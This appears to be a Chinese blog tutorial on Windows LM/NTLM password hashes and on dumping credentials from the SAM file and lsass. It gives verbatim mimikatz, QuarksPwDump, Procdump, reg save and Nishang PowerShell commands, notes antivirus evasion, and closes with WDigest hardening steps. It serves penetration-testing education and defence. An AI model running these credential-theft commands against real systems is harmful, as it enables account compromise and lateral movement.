Windows系统散列值获取分析

LM Hash和NTLM Hash

Windows操作系统使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

操作系统的密码一般分为两部分,一部分是LM Hash,另一部分是NTLM Hash。Hash的结构如下username:RID:LM-HASH:NT-HASH

LM Hash的全名是LM Manager Hash,是为了提高Windows操作系统的安全性,它的本质是DES加密,但是在Windows2008之后,LM Hash就被禁用了,原因是它的密码不足14字节将用0补全,极易被破解。如果LM Hash被禁用了,那么工具抓取到的hash通常为aad3b435b51404eeaad3b435b51404ee

NTLM Hash为了提高安全性设计的一种新的散列加密算法,它基于MD4加密算法进行加密,现在大多数Windows操作系统都是使用NTLM Hash认证方式。

单机密码抓取与防范

要想在Windows操作系统中抓取散列值或明文密码,就必须将权限提升为system。有关散列值的相关信息全都保存在SAM文件中,lsass.exe进程用于实现Windows的安全策略。可以使用mimikatz将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

SAM文件的保存位置是C:\Windows\System32\config,该文件是被锁定的,不允许复制。我们可以在关闭操作系统之后,使用PE盘进入文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。

Getpass

在这里插入图片描述
在这里插入图片描述

PwDump7

在命令行环境中运行PwDump这个工具,可以得到系统中所有账户的NTLM Hash,我们可以使用彩虹表来破解散列值。如无法破解,我们也可以使用哈希传递进行横向移动。
在这里插入图片描述

QuarksPwDump

我们输入QuarksPwDump.exe --dump-hash-local获取本地用户的对应哈希值
在这里插入图片描述
我们输入QuarksPwDump.exe --dump-hash-domain-cached来获取域用户对应的hash值
在这里插入图片描述

导出SAM和System文件

通过reg的save选项将注册表中的SAM、System文件导出到本地磁盘

reg save hklm\sam C:\Users\pyh\Desktop\sam.hive
reg save hklm\system C:\Users\pyh\Desktop\system.hive

在这里插入图片描述

读取SAM和System文件获得NTLM Hash

使用mimikatz读取SAM和System文件

该工具可以从内存中提取明文密码、散列值、PIN和kerberos票据。它也可以执行哈希传递、票据传递或者构建黄金白银票据。

我们输入lsadump::sam /sam:../../sam.hive /system:../../system.hive
在这里插入图片描述

使用Cain读取SAM文件

安装Cain我们需要关闭防火墙,不然会运行失败。我们运行Cain,然后进入Cracker模块,选中LM&NTLM选项,点击加号选项,选择Import Hashes From a SAM databse选项。将我们本地的sam文件导入,点击Next选项。导入后显示系统中存在的三个账号的LM HashNTLM Hash信息。
在这里插入图片描述

使用mimikatz直接读取本地SAM文件,导出Hash信息

在进行渗透测试时,需要考虑mimikatz在目标机器上的免杀特性。我们首先运行mimikatz,输入privilege::debug提升权限,然后输入token::elevate将权限提升至system
在这里插入图片描述
输入lsadump::sam,读取本地SAM文件,获得NTLM Hash
在这里插入图片描述

使用mimikatz在线读取SAM文件

我们输入如下命令mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords",在线读取散列值及明文密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

使用mimikatz离线读取lsass.dmp文件

我们先找到lsass.exe进程,然后右击选择创建转储文件,此时在本地的Temp目录下生成了一个lsass.DMP文件
在这里插入图片描述
除此之外,我们还可以使用微软的Procdump工具导出lsass.dmp文件。因为这个软件不会被杀软报毒,因此操作起来相当方便。对应的命令为Procdump.exe -accepteula -ma lsass.exe lsass.dmp
在这里插入图片描述
在这里插入图片描述

使用powershell对散列值进行Dump操作

我们使用的是NishangGet-PassHashes.ps1脚本进行哈希值的导出。执行的前提是必须以管理员权限打开powershell命令行

powershell.exe -exec bypass "Import-Module .\Get-PassHashes.ps1;Get-PassHashes"

在这里插入图片描述

单机密码抓取的防范方法

微软为了防止用户密码在内存中以明文的形式被抓取,发布了补丁KB2871997,并且关闭了Wdigest功能。

在日常网络维护中,通过查看注册表项Wdigest可以判断Wdigest功能状态。如果值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该值为0

使用reg add命令

开启Wdigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

在这里插入图片描述
关闭Wdigest

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

在这里插入图片描述

使用powershell

开启WDigest

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

在这里插入图片描述
关闭WDigest

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值